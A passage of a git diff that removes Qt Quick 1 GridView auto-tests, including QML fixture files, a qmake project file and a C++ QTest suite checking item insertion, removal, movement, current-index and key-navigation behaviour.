grid.currentItem.x+5 - } - } - - GridView { - id: grid - objectName: "grid" - anchors.fill: parent - model: model - delegate: Text { objectName: "wrapper"; text: name; width: 80; height: 80 } - - highlight: highlight - highlightFollowsCurrentItem: false - focus: true - } - -} diff --git a/tests/auto/qtquick1/qdeclarativegridview/data/mirroring.qml b/tests/auto/qtquick1/qdeclarativegridview/data/mirroring.qml deleted file mode 100644 index 54de16bc41..0000000000 --- a/tests/auto/qtquick1/qdeclarativegridview/data/mirroring.qml +++ /dev/null @@ -1,43 +0,0 @@ -// This example demonstrates how item positioning -// changes in right-to-left layout direction - -import QtQuick 1.1 - -Rectangle { - color: "lightgray" - width: 340 - height: 370 - - VisualItemModel { - id: itemModel - objectName: "itemModel" - Rectangle { - objectName: "item1" - height: 110; width: 120; color: "#FFFEF0" - Text { objectName: "text1"; text: "index: " + parent.VisualItemModel.index; font.bold: true; anchors.centerIn: parent } - } - Rectangle { - objectName: "item2" - height: 130; width: 150; color: "#F0FFF7" - Text { objectName: "text2"; text: "index: " + parent.VisualItemModel.index; font.bold: true; anchors.centerIn: parent } - } - Rectangle { - objectName: "item3" - height: 170; width: 190; color: "#F4F0FF" - Text { objectName: "text3"; text: "index: " + parent.VisualItemModel.index; font.bold: true; anchors.centerIn: parent } - } - } - - GridView { - id: view - objectName: "view" - cellWidth: 190 - cellHeight: 170 - anchors.fill: parent - anchors.bottomMargin: 30 - model: itemModel - highlightRangeMode: "StrictlyEnforceRange" - flow: GridView.TopToBottom - flickDeceleration: 2000 - } -} diff --git a/tests/auto/qtquick1/qdeclarativegridview/data/propertychangestest.qml b/tests/auto/qtquick1/qdeclarativegridview/data/propertychangestest.qml deleted file mode 100644 index 10df234261..0000000000 --- a/tests/auto/qtquick1/qdeclarativegridview/data/propertychangestest.qml +++ /dev/null @@ -1,69 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 360; height: 120; color: "white" - Component { - id: delegate - Item { - id: wrapper - width: 180; height: 40; - Column { - x: 5; y: 5 - Text { text: 'Name: ' + name } - Text { text: 'Number: ' + number } - } - } - } - Component { - id: highlightRed - Rectangle { - color: "red" - radius: 10 - opacity: 0.5 - } - } - GridView { - cellWidth:180 - cellHeight:40 - objectName: "gridView" - anchors.fill: parent - model: listModel - delegate: delegate - highlight: highlightRed - focus: true - keyNavigationWraps: true - cacheBuffer: 10 - flow: GridView.LeftToRight - } - - data:[ - ListModel { - id: listModel - ListElement { - name: "Bill Smith" - number: "555 3264" - } - ListElement { - name: "John Brown" - number: "555 8426" - } - ListElement { - name: "Sam Wise" - number: "555 0473" - } - }, - ListModel { - objectName: "alternateModel" - ListElement { - name: "Jack" - number: "555 8426" - } - ListElement { - name: "Mary" - number: "555 3264" - } - } - ] -} - - diff --git a/tests/auto/qtquick1/qdeclarativegridview/data/setindex.qml b/tests/auto/qtquick1/qdeclarativegridview/data/setindex.qml deleted file mode 100644 index 36bf67de15..0000000000 --- a/tests/auto/qtquick1/qdeclarativegridview/data/setindex.qml +++ /dev/null @@ -1,29 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 200 - height: 200 - Component { - id: appDelegate - - Item { - id : wrapper - function startupFunction() { - if (index == 5) view.currentIndex = index; - } - Component.onCompleted: startupFunction(); - width: 30; height: 30 - Text { text: index } - } - } - - GridView { - id: view - objectName: "grid" - anchors.fill: parent - cellWidth: 30; cellHeight: 30 - model: 35 - delegate: appDelegate - focus: true - } -} diff --git a/tests/auto/qtquick1/qdeclarativegridview/qdeclarativegridview.pro b/tests/auto/qtquick1/qdeclarativegridview/qdeclarativegridview.pro deleted file mode 100644 index 299b6a3273..0000000000 --- a/tests/auto/qtquick1/qdeclarativegridview/qdeclarativegridview.pro +++ /dev/null @@ -1,11 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativegridview -macx:CONFIG -= app_bundle - -SOURCES += tst_qdeclarativegridview.cpp - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test - -QT += core-private gui-private widgets-private v8-private declarative-private qtquick1-private testlib diff --git a/tests/auto/qtquick1/qdeclarativegridview/tst_qdeclarativegridview.cpp b/tests/auto/qtquick1/qdeclarativegridview/tst_qdeclarativegridview.cpp deleted file mode 100644 index bf14b5c378..0000000000 --- a/tests/auto/qtquick1/qdeclarativegridview/tst_qdeclarativegridview.cpp +++ /dev/null @@ -1,2217 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -class tst_QDeclarative1GridView : public QObject -{ - Q_OBJECT -public: - tst_QDeclarative1GridView(); - -private slots: - void items(); - void changed(); - void inserted(); - void removed(); - void clear(); - void moved(); - void changeFlow(); - void currentIndex(); - void noCurrentIndex(); - void defaultValues(); - void properties(); - void propertyChanges(); - void componentChanges(); - void modelChanges(); - void positionViewAtIndex(); - void positionViewAtIndex_rightToLeft(); - void mirroring(); - void snapping(); - void resetModel(); - void enforceRange(); - void enforceRange_rightToLeft(); - void QTBUG_8456(); - void manualHighlight(); - void footer(); - void header(); - void indexAt(); - void onAdd(); - void onAdd_data(); - void onRemove(); - void onRemove_data(); - void testQtQuick11Attributes(); - void testQtQuick11Attributes_data(); - void contentPosJump(); - -private: - QDeclarativeView *createView(); - template - T *findItem(QGraphicsObject *parent, const QString &id, int index=-1); - template - QList findItems(QGraphicsObject *parent, const QString &objectName); - void dumpTree(QDeclarativeItem *parent, int depth = 0); -}; - -class TestModel : public QAbstractListModel -{ -public: - enum Roles { Name = Qt::UserRole+1, Number = Qt::UserRole+2 }; - - TestModel(QObject *parent=0) : QAbstractListModel(parent) { - QHash roles; - roles[Name] = "name"; - roles[Number] = "number"; - setRoleNames(roles); - } - - int rowCount(const QModelIndex &parent=QModelIndex()) const { Q_UNUSED(parent); return list.count(); } - QVariant data(const QModelIndex &index, int role=Qt::DisplayRole) const { - QVariant rv; - if (role == Name) - rv = list.at(index.row()).first; - else if (role == Number) - rv = list.at(index.row()).second; - - return rv; - } - - int count() const { return rowCount(); } - QString name(int index) const { return list.at(index).first; } - QString number(int index) const { return list.at(index).second; } - - void addItem(const QString &name, const QString &number) { - emit beginInsertRows(QModelIndex(), list.count(), list.count()); - list.append(QPair(name, number)); - emit endInsertRows(); - } - - void addItems(const QList > &items) { - emit beginInsertRows(QModelIndex(), list.count(), list.count()+items.count()-1); - for (int i=0; i(items[i].first, items[i].second)); - emit endInsertRows(); - } - - void insertItem(int index, const QString &name, const QString &number) { - emit beginInsertRows(QModelIndex(), index, index); - list.insert(index, QPair(name, number)); - emit endInsertRows(); - } - - void removeItem(int index) { - emit beginRemoveRows(QModelIndex(), index, index); - list.removeAt(index); - emit endRemoveRows(); - } - - void removeItems(int index, int count) { - emit beginRemoveRows(QModelIndex(), index, index+count-1); - while (count--) - list.removeAt(index); - emit endRemoveRows(); - } - - void moveItem(int from, int to) { - emit beginMoveRows(QModelIndex(), from, from, QModelIndex(), to); - list.move(from, to); - emit endMoveRows(); - } - - void modifyItem(int idx, const QString &name, const QString &number) { - list[idx] = QPair(name, number); - emit dataChanged(index(idx,0), index(idx,0)); - } - - void clear() { - int count = list.count(); - emit beginRemoveRows(QModelIndex(), 0, count-1); - list.clear(); - emit endRemoveRows(); - } - - -private: - QList > list; -}; - -tst_QDeclarative1GridView::tst_QDeclarative1GridView() -{ -} - -void tst_QDeclarative1GridView::items() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - model.addItem("Fred", "12345"); - model.addItem("John", "2345"); - model.addItem("Bob", "54321"); - model.addItem("Billy", "22345"); - model.addItem("Sam", "2945"); - model.addItem("Ben", "04321"); - model.addItem("Jim", "0780"); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - ctxt->setContextProperty("testRightToLeft", QVariant(false)); - ctxt->setContextProperty("testTopToBottom", QVariant(false)); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview1.qml")); - qApp->processEvents(); - - QDeclarative1GridView *gridview = findItem(canvas->rootObject(), "grid"); - QTRY_VERIFY(gridview != 0); - - QDeclarativeItem *contentItem = gridview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - QTRY_COMPARE(gridview->count(), model.count()); - QTRY_COMPARE(canvas->rootObject()->property("count").toInt(), model.count()); - QTRY_COMPARE(contentItem->childItems().count(), model.count()+1); // assumes all are visible, +1 for the (default) highlight item - - for (int i = 0; i < model.count(); ++i) { - QDeclarative1Text *name = findItem(contentItem, "textName", i); - QTRY_VERIFY(name != 0); - QTRY_COMPARE(name->text(), model.name(i)); - QDeclarative1Text *number = findItem(contentItem, "textNumber", i); - QTRY_VERIFY(number != 0); - QTRY_COMPARE(number->text(), model.number(i)); - } - - // set an empty model and confirm that items are destroyed - TestModel model2; - ctxt->setContextProperty("testModel", &model2); - - int itemCount = findItems(contentItem, "wrapper").count(); - QTRY_VERIFY(itemCount == 0); - - delete canvas; -} - -void tst_QDeclarative1GridView::changed() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - model.addItem("Fred", "12345"); - model.addItem("John", "2345"); - model.addItem("Bob", "54321"); - model.addItem("Billy", "22345"); - model.addItem("Sam", "2945"); - model.addItem("Ben", "04321"); - model.addItem("Jim", "0780"); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - ctxt->setContextProperty("testRightToLeft", QVariant(false)); - ctxt->setContextProperty("testTopToBottom", QVariant(false)); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview1.qml")); - qApp->processEvents(); - - QDeclarative1Flickable *gridview = findItem(canvas->rootObject(), "grid"); - QTRY_VERIFY(gridview != 0); - - QDeclarativeItem *contentItem = gridview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - model.modifyItem(1, "Will", "9876"); - QDeclarative1Text *name = findItem(contentItem, "textName", 1); - QTRY_VERIFY(name != 0); - QTRY_COMPARE(name->text(), model.name(1)); - QDeclarative1Text *number = findItem(contentItem, "textNumber", 1); - QTRY_VERIFY(number != 0); - QTRY_COMPARE(number->text(), model.number(1)); - - delete canvas; -} - -void tst_QDeclarative1GridView::inserted() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - model.addItem("Fred", "12345"); - model.addItem("John", "2345"); - model.addItem("Bob", "54321"); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - ctxt->setContextProperty("testRightToLeft", QVariant(false)); - ctxt->setContextProperty("testTopToBottom", QVariant(false)); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview1.qml")); - qApp->processEvents(); - - QDeclarative1GridView *gridview = findItem(canvas->rootObject(), "grid"); - QTRY_VERIFY(gridview != 0); - - QDeclarativeItem *contentItem = gridview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - model.insertItem(1, "Will", "9876"); - QCOMPARE(canvas->rootObject()->property("count").toInt(), model.count()); - - QTRY_COMPARE(contentItem->childItems().count(), model.count()+1); // assumes all are visible, +1 for the (default) highlight item - - QDeclarative1Text *name = findItem(contentItem, "textName", 1); - QTRY_VERIFY(name != 0); - QTRY_COMPARE(name->text(), model.name(1)); - QDeclarative1Text *number = findItem(contentItem, "textNumber", 1); - QTRY_VERIFY(number != 0); - QTRY_COMPARE(number->text(), model.number(1)); - - // Checks that onAdd is called - int added = canvas->rootObject()->property("added").toInt(); - QTRY_COMPARE(added, 1); - - // Confirm items positioned correctly - for (int i = 0; i < model.count(); ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - QTRY_COMPARE(item->x(), (i%3)*80.0); - QTRY_COMPARE(item->y(), (i/3)*60.0); - } - - model.insertItem(0, "Foo", "1111"); // zero index, and current item - - QTRY_COMPARE(contentItem->childItems().count(), model.count()+1); // assumes all are visible, +1 for the (default) highlight item - - name = findItem(contentItem, "textName", 0); - QTRY_VERIFY(name != 0); - QTRY_COMPARE(name->text(), model.name(0)); - number = findItem(contentItem, "textNumber", 0); - QTRY_VERIFY(number != 0); - QTRY_COMPARE(number->text(), model.number(0)); - - QTRY_COMPARE(gridview->currentIndex(), 1); - - // Confirm items positioned correctly - for (int i = 0; i < model.count(); ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - QTRY_VERIFY(item->x() == (i%3)*80); - QTRY_VERIFY(item->y() == (i/3)*60); - } - - for (int i = model.count(); i < 30; ++i) - model.insertItem(i, "Hello", QString::number(i)); - - gridview->setContentY(120); - - // Insert item outside visible area - model.insertItem(1, "Hello", "1324"); - - QTRY_VERIFY(gridview->contentY() == 120); - - delete canvas; -} - -void tst_QDeclarative1GridView::removed() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - for (int i = 0; i < 40; i++) - model.addItem("Item" + QString::number(i), ""); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - ctxt->setContextProperty("testRightToLeft", QVariant(false)); - ctxt->setContextProperty("testTopToBottom", QVariant(false)); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview1.qml")); - qApp->processEvents(); - - QDeclarative1GridView *gridview = findItem(canvas->rootObject(), "grid"); - QTRY_VERIFY(gridview != 0); - - QDeclarativeItem *contentItem = gridview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - model.removeItem(1); - QCOMPARE(canvas->rootObject()->property("count").toInt(), model.count()); - - QDeclarative1Text *name = findItem(contentItem, "textName", 1); - QTRY_VERIFY(name != 0); - QTRY_COMPARE(name->text(), model.name(1)); - QDeclarative1Text *number = findItem(contentItem, "textNumber", 1); - QTRY_VERIFY(number != 0); - QTRY_COMPARE(number->text(), model.number(1)); - - // Checks that onRemove is called - QString removed = canvas->rootObject()->property("removed").toString(); - QTRY_COMPARE(removed, QString("Item1")); - - // Confirm items positioned correctly - int itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_VERIFY(item->x() == (i%3)*80); - QTRY_VERIFY(item->y() == (i/3)*60); - } - - // Remove first item (which is the current item); - model.removeItem(0); - - name = findItem(contentItem, "textName", 0); - QTRY_VERIFY(name != 0); - QTRY_COMPARE(name->text(), model.name(0)); - number = findItem(contentItem, "textNumber", 0); - QTRY_VERIFY(number != 0); - QTRY_COMPARE(number->text(), model.number(0)); - - // Confirm items positioned correctly - itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_VERIFY(item->x() == (i%3)*80); - QTRY_VERIFY(item->y() == (i/3)*60); - } - - // Remove items not visible - model.removeItem(25); - - // Confirm items positioned correctly - itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_VERIFY(item->x() == (i%3)*80); - QTRY_VERIFY(item->y() == (i/3)*60); - } - - // Remove items before visible - gridview->setContentY(120); - gridview->setCurrentIndex(10); - - // Setting currentIndex above shouldn't cause view to scroll - QTRY_COMPARE(gridview->contentY(), 120.0); - - model.removeItem(1); - - // Confirm items positioned correctly - for (int i = 3; i < 15; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->x(), (i%3)*80.0); - QTRY_COMPARE(item->y(), 60+(i/3)*60.0); - } - - // Remove currentIndex - QDeclarativeItem *oldCurrent = gridview->currentItem(); - model.removeItem(9); - - QTRY_COMPARE(gridview->currentIndex(), 9); - QTRY_VERIFY(gridview->currentItem() != oldCurrent); - - gridview->setContentY(0); - // let transitions settle. - QTest::qWait(100); - - // Confirm items positioned correctly - itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_VERIFY(item->x() == (i%3)*80); - QTRY_VERIFY(item->y() == 60+(i/3)*60); - } - - // remove item outside current view. - gridview->setCurrentIndex(32); - gridview->setContentY(240); - - model.removeItem(30); - QTRY_VERIFY(gridview->currentIndex() == 31); - - // remove current item beyond visible items. - gridview->setCurrentIndex(20); - gridview->setContentY(0); - model.removeItem(20); - - QTRY_COMPARE(gridview->currentIndex(), 20); - QTRY_VERIFY(gridview->currentItem() != 0); - - // remove item before current, but visible - gridview->setCurrentIndex(8); - gridview->setContentY(240); - oldCurrent = gridview->currentItem(); - model.removeItem(6); - - QTRY_COMPARE(gridview->currentIndex(), 7); - QTRY_VERIFY(gridview->currentItem() == oldCurrent); - - delete canvas; -} - -void tst_QDeclarative1GridView::clear() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - for (int i = 0; i < 30; i++) - model.addItem("Item" + QString::number(i), ""); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - ctxt->setContextProperty("testRightToLeft", QVariant(false)); - ctxt->setContextProperty("testTopToBottom", QVariant(false)); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview1.qml")); - qApp->processEvents(); - - QDeclarative1GridView *gridview = findItem(canvas->rootObject(), "grid"); - QVERIFY(gridview != 0); - - QDeclarativeItem *contentItem = gridview->contentItem(); - QVERIFY(contentItem != 0); - - model.clear(); - - QVERIFY(gridview->count() == 0); - QVERIFY(gridview->currentItem() == 0); - QVERIFY(gridview->contentY() == 0); - QVERIFY(gridview->currentIndex() == -1); - - // confirm sanity when adding an item to cleared list - model.addItem("New", "1"); - QVERIFY(gridview->count() == 1); - QVERIFY(gridview->currentItem() != 0); - QVERIFY(gridview->currentIndex() == 0); - - delete canvas; -} - -void tst_QDeclarative1GridView::moved() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - for (int i = 0; i < 30; i++) - model.addItem("Item" + QString::number(i), ""); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - ctxt->setContextProperty("testRightToLeft", QVariant(false)); - ctxt->setContextProperty("testTopToBottom", QVariant(false)); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview1.qml")); - qApp->processEvents(); - - QDeclarative1GridView *gridview = findItem(canvas->rootObject(), "grid"); - QTRY_VERIFY(gridview != 0); - - QDeclarativeItem *contentItem = gridview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - model.moveItem(1, 8); - - QDeclarative1Text *name = findItem(contentItem, "textName", 1); - QTRY_VERIFY(name != 0); - QTRY_COMPARE(name->text(), model.name(1)); - QDeclarative1Text *number = findItem(contentItem, "textNumber", 1); - QTRY_VERIFY(number != 0); - QTRY_COMPARE(number->text(), model.number(1)); - - name = findItem(contentItem, "textName", 8); - QTRY_VERIFY(name != 0); - QTRY_COMPARE(name->text(), model.name(8)); - number = findItem(contentItem, "textNumber", 8); - QTRY_VERIFY(number != 0); - QTRY_COMPARE(number->text(), model.number(8)); - - // Confirm items positioned correctly - int itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 0; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_VERIFY(item->x() == (i%3)*80); - QTRY_VERIFY(item->y() == (i/3)*60); - } - - gridview->setContentY(120); - - // move outside visible area - model.moveItem(1, 25); - - // Confirm items positioned correctly and indexes correct - itemCount = findItems(contentItem, "wrapper").count()-1; - for (int i = 6; i < model.count()-6 && i < itemCount+6; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_COMPARE(item->x(), qreal((i%3)*80)); - QTRY_COMPARE(item->y(), qreal((i/3)*60)); - name = findItem(contentItem, "textName", i); - QTRY_VERIFY(name != 0); - QTRY_COMPARE(name->text(), model.name(i)); - number = findItem(contentItem, "textNumber", i); - QTRY_VERIFY(number != 0); - QTRY_COMPARE(number->text(), model.number(i)); - } - - // move from outside visible into visible - model.moveItem(28, 8); - - // Confirm items positioned correctly and indexes correct - for (int i = 6; i < model.count()-6 && i < itemCount+6; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QTRY_VERIFY(item); - QTRY_VERIFY(item->x() == (i%3)*80); - QTRY_VERIFY(item->y() == (i/3)*60); - name = findItem(contentItem, "textName", i); - QTRY_VERIFY(name != 0); - QTRY_COMPARE(name->text(), model.name(i)); - number = findItem(contentItem, "textNumber", i); - QTRY_VERIFY(number != 0); - QTRY_COMPARE(number->text(), model.number(i)); - } - - // ensure content position is stable - gridview->setContentY(0); - model.moveItem(10, 0); - QTRY_VERIFY(gridview->contentY() == 0); - - delete canvas; -} - -void tst_QDeclarative1GridView::currentIndex() -{ - TestModel model; - for (int i = 0; i < 60; i++) - model.addItem("Item" + QString::number(i), QString::number(i)); - - QDeclarativeView *canvas = new QDeclarativeView(0); - canvas->setFixedSize(240,320); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - QString filename(SRCDIR "/data/gridview-initCurrent.qml"); - canvas->setSource(QUrl::fromLocalFile(filename)); - - qApp->processEvents(); - - QDeclarative1GridView *gridview = findItem(canvas->rootObject(), "grid"); - QVERIFY(gridview != 0); - - QDeclarativeItem *contentItem = gridview->contentItem(); - QVERIFY(contentItem != 0); - - // current item should be third item - QCOMPARE(gridview->currentIndex(), 35); - QCOMPARE(gridview->currentItem(), findItem(contentItem, "wrapper", 35)); - QCOMPARE(gridview->currentItem()->y(), gridview->highlightItem()->y()); - QCOMPARE(gridview->contentY(), 400.0); - - gridview->moveCurrentIndexRight(); - QCOMPARE(gridview->currentIndex(), 36); - gridview->moveCurrentIndexDown(); - QCOMPARE(gridview->currentIndex(), 39); - gridview->moveCurrentIndexUp(); - QCOMPARE(gridview->currentIndex(), 36); - gridview->moveCurrentIndexLeft(); - QCOMPARE(gridview->currentIndex(), 35); - - // no wrap - gridview->setCurrentIndex(0); - QCOMPARE(gridview->currentIndex(), 0); - // confirm that the velocity is updated - QTRY_VERIFY(gridview->verticalVelocity() != 0.0); - - gridview->moveCurrentIndexUp(); - QCOMPARE(gridview->currentIndex(), 0); - - gridview->moveCurrentIndexLeft(); - QCOMPARE(gridview->currentIndex(), 0); - - gridview->setCurrentIndex(model.count()-1); - QCOMPARE(gridview->currentIndex(), model.count()-1); - - gridview->moveCurrentIndexRight(); - QCOMPARE(gridview->currentIndex(), model.count()-1); - - gridview->moveCurrentIndexDown(); - QCOMPARE(gridview->currentIndex(), model.count()-1); - - // with wrap - gridview->setWrapEnabled(true); - - gridview->setCurrentIndex(0); - QCOMPARE(gridview->currentIndex(), 0); - - gridview->moveCurrentIndexLeft(); - QCOMPARE(gridview->currentIndex(), model.count()-1); - - QTRY_COMPARE(gridview->contentY(), 880.0); - - gridview->moveCurrentIndexRight(); - QCOMPARE(gridview->currentIndex(), 0); - - QTRY_COMPARE(gridview->contentY(), 0.0); - - // Test keys - canvas->show(); - qApp->setActiveWindow(canvas); -#ifdef Q_WS_X11 - // to be safe and avoid failing setFocus with window managers - qt_x11_wait_for_window_manager(canvas); -#endif - QTRY_VERIFY(canvas->hasFocus()); - QTRY_VERIFY(canvas->scene()->hasFocus()); - qApp->processEvents(); - - QTest::keyClick(canvas, Qt::Key_Down); - QCOMPARE(gridview->currentIndex(), 3); - - QTest::keyClick(canvas, Qt::Key_Up); - QCOMPARE(gridview->currentIndex(), 0); - - gridview->setFlow(QDeclarative1GridView::TopToBottom); - - qApp->setActiveWindow(canvas); -#ifdef Q_WS_X11 - // to be safe and avoid failing setFocus with window managers - qt_x11_wait_for_window_manager(canvas); -#endif - QTRY_VERIFY(canvas->hasFocus()); - QTRY_VERIFY(canvas->scene()->hasFocus()); - qApp->processEvents(); - - QTest::keyClick(canvas, Qt::Key_Right); - QCOMPARE(gridview->currentIndex(), 5); - - QTest::keyClick(canvas, Qt::Key_Left); - QCOMPARE(gridview->currentIndex(), 0); - - QTest::keyClick(canvas, Qt::Key_Down); - QCOMPARE(gridview->currentIndex(), 1); - - QTest::keyClick(canvas, Qt::Key_Up); - QCOMPARE(gridview->currentIndex(), 0); - - - // turn off auto highlight - gridview->setHighlightFollowsCurrentItem(false); - QVERIFY(gridview->highlightFollowsCurrentItem() == false); - QVERIFY(gridview->highlightItem()); - qreal hlPosX = gridview->highlightItem()->x(); - qreal hlPosY = gridview->highlightItem()->y(); - - gridview->setCurrentIndex(5); - QTRY_COMPARE(gridview->highlightItem()->x(), hlPosX); - QTRY_COMPARE(gridview->highlightItem()->y(), hlPosY); - - // insert item before currentIndex - gridview->setCurrentIndex(28); - model.insertItem(0, "Foo", "1111"); - QTRY_COMPARE(canvas->rootObject()->property("current").toInt(), 29); - - // check removing highlight by setting currentIndex to -1; - gridview->setCurrentIndex(-1); - - QCOMPARE(gridview->currentIndex(), -1); - QVERIFY(!gridview->highlightItem()); - QVERIFY(!gridview->currentItem()); - - gridview->setHighlightFollowsCurrentItem(true); - - gridview->setFlow(QDeclarative1GridView::LeftToRight); - gridview->setLayoutDirection(Qt::RightToLeft); - - qApp->setActiveWindow(canvas); -#ifdef Q_WS_X11 - // to be safe and avoid failing setFocus with window managers - qt_x11_wait_for_window_manager(canvas); -#endif - QTRY_VERIFY(canvas->hasFocus()); - QTRY_VERIFY(canvas->scene()->hasFocus()); - qApp->processEvents(); - - gridview->setCurrentIndex(35); - - QTest::keyClick(canvas, Qt::Key_Right); - QCOMPARE(gridview->currentIndex(), 34); - - QTest::keyClick(canvas, Qt::Key_Down); - QCOMPARE(gridview->currentIndex(), 37); - - QTest::keyClick(canvas, Qt::Key_Up); - QCOMPARE(gridview->currentIndex(), 34); - - QTest::keyClick(canvas, Qt::Key_Left); - QCOMPARE(gridview->currentIndex(), 35); - - - // turn off auto highlight - gridview->setHighlightFollowsCurrentItem(false); - QVERIFY(gridview->highlightFollowsCurrentItem() == false); - QVERIFY(gridview->highlightItem()); - hlPosX = gridview->highlightItem()->x(); - hlPosY = gridview->highlightItem()->y(); - - gridview->setCurrentIndex(5); - QTRY_COMPARE(gridview->highlightItem()->x(), hlPosX); - QTRY_COMPARE(gridview->highlightItem()->y(), hlPosY); - - // insert item before currentIndex - gridview->setCurrentIndex(28); - model.insertItem(0, "Foo", "1111"); - QTRY_COMPARE(canvas->rootObject()->property("current").toInt(), 29); - - // check removing highlight by setting currentIndex to -1; - gridview->setCurrentIndex(-1); - - QCOMPARE(gridview->currentIndex(), -1); - QVERIFY(!gridview->highlightItem()); - QVERIFY(!gridview->currentItem()); - - delete canvas; -} - -void tst_QDeclarative1GridView::noCurrentIndex() -{ - TestModel model; - for (int i = 0; i < 60; i++) - model.addItem("Item" + QString::number(i), QString::number(i)); - - QDeclarativeView *canvas = new QDeclarativeView(0); - canvas->setFixedSize(240,320); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - QString filename(SRCDIR "/data/gridview-noCurrent.qml"); - canvas->setSource(QUrl::fromLocalFile(filename)); - - qApp->processEvents(); - - QDeclarative1GridView *gridview = findItem(canvas->rootObject(), "grid"); - QVERIFY(gridview != 0); - - QDeclarativeItem *contentItem = gridview->contentItem(); - QVERIFY(contentItem != 0); - - // current index should be -1 - QCOMPARE(gridview->currentIndex(), -1); - QVERIFY(!gridview->currentItem()); - QVERIFY(!gridview->highlightItem()); - QCOMPARE(gridview->contentY(), 0.0); - - gridview->setCurrentIndex(5); - QCOMPARE(gridview->currentIndex(), 5); - QVERIFY(gridview->currentItem()); - QVERIFY(gridview->highlightItem()); - - delete canvas; -} - -void tst_QDeclarative1GridView::changeFlow() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - for (int i = 0; i < 30; i++) - model.addItem("Item" + QString::number(i), QString::number(i)); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - ctxt->setContextProperty("testRightToLeft", QVariant(false)); - ctxt->setContextProperty("testTopToBottom", QVariant(false)); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview1.qml")); - qApp->processEvents(); - - QDeclarative1GridView 